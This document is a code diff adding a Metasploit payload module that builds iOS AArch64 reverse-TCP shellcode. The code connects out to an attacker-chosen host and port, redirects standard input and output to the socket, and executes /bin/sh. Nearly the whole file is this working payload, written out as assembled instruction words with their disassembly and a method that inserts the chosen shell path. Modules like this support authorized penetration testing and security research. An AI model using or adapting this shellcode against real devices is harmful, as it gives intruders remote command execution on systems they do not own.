|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core/handler/reverse_tcp' |
| 7 | +require 'msf/base/sessions/command_shell' |
| 8 | +require 'msf/base/sessions/command_shell_options' |
| 9 | + |
| 10 | +module MetasploitModule |
| 11 | + |
| 12 | + CachedSize = 152 |
| 13 | + |
| 14 | + include Msf::Payload::Single |
| 15 | + include Msf::Payload::Linux |
| 16 | + include Msf::Sessions::CommandShellOptions |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(merge_info(info, |
| 20 | + 'Name' => 'Apple iOS aarch64 Command Shell, Reverse TCP Inline', |
| 21 | + 'Description' => 'Connect back to attacker and spawn a command shell', |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Platform' => 'apple_ios', |
| 24 | + 'Arch' => ARCH_AARCH64, |
| 25 | + 'Handler' => Msf::Handler::ReverseTcp, |
| 26 | + 'Session' => Msf::Sessions::CommandShellUnix, |
| 27 | + 'Payload' => |
| 28 | + { |
| 29 | + 'Offsets' => |
| 30 | + { |
| 31 | + 'LHOST' => [ 132, 'ADDR' ], |
| 32 | + 'LPORT' => [ 130, 'n' ], |
| 33 | + }, |
| 34 | + 'Payload' => |
| 35 | + [ |
| 36 | + # Generated from external/source/shellcode/apple_ios/aarch64/single_reverse_tcp_shell.s |
| 37 | + 0xd2800040, # mov x0, #0x2 // #2 |
| 38 | + 0xd2800021, # mov x1, #0x1 // #1 |
| 39 | + 0xd2800002, # mov x2, #0x0 // #0 |
| 40 | + 0xd2800c30, # mov x16, #0x61 // #97 |
| 41 | + 0xd4000001, # svc #0x0 |
| 42 | + 0xaa0003e3, # mov x3, x0 |
| 43 | + 0x10000341, # adr x1, 80 <sockaddr> |
| 44 | + 0xd2800202, # mov x2, #0x10 // #16 |
| 45 | + 0xd2800c50, # mov x16, #0x62 // #98 |
| 46 | + 0xd4000001, # svc #0x0 |
| 47 | + 0x35000260, # cbnz w0, 74 <exit> |
| 48 | + 0xaa0303e0, # mov x0, x3 |
| 49 | + 0xd2800002, # mov x2, #0x0 // #0 |
| 50 | + 0xd2800001, # mov x1, #0x0 // #0 |
| 51 | + 0xd2800b50, # mov x16, #0x5a // #90 |
| 52 | + 0xd4000001, # svc #0x0 |
| 53 | + 0xd2800021, # mov x1, #0x1 // #1 |
| 54 | + 0xd2800b50, # mov x16, #0x5a // #90 |
| 55 | + 0xd4000001, # svc #0x0 |
| 56 | + 0xd2800041, # mov x1, #0x2 // #2 |
| 57 | + 0xd2800b50, # mov x16, #0x5a // #90 |
| 58 | + 0xd4000001, # svc #0x0 |
| 59 | + 0x10000180, # adr x0, 88 <shell> |
| 60 | + 0xd2800002, # mov x2, #0x0 // #0 |
| 61 | + 0xf90003e0, # str x0, [sp] |
| 62 | + 0xf90007e2, # str x2, [sp,#8] |
| 63 | + 0x910003e1, # mov x1, sp |
| 64 | + 0xd2800770, # mov x16, #0x3b // #59 |
| 65 | + 0xd4000001, # svc #0x0 |
| 66 | + 0xd2800000, # mov x0, #0x0 // #0 |
| 67 | + 0xd2800030, # mov x16, #0x1 // #1 |
| 68 | + 0xd4000001, # svc #0x0 |
| 69 | + 0x5c110002, # .word 0x5c110002 |
| 70 | + 0x0100007f, # .word 0x0100007f |
| 71 | + 0x00000000, # .word 0x00000000 // shell |
| 72 | + 0x00000000, # .word 0x00000000 |
| 73 | + 0x00000000, # .word 0x00000000 |
| 74 | + 0x00000000, # .word 0x00000000 |
| 75 | + ].pack("V*") |
| 76 | + } |
| 77 | + )) |
| 78 | + |
| 79 | + # Register command execution options |
| 80 | + register_options( |
| 81 | + [ |
| 82 | + OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]), |
| 83 | + ]) |
| 84 | + end |
| 85 | + |
| 86 | + def generate |
| 87 | + p = super |
| 88 | + |
| 89 | + sh = datastore['SHELL'] |
| 90 | + if sh.length >= 16 |
| 91 | + raise ArgumentError, "The specified shell must be less than 16 bytes." |
| 92 | + end |
| 93 | + p[136, sh.length] = sh |
| 94 | + |
| 95 | + p |
| 96 | + end |
| 97 | +end |
0 commit comments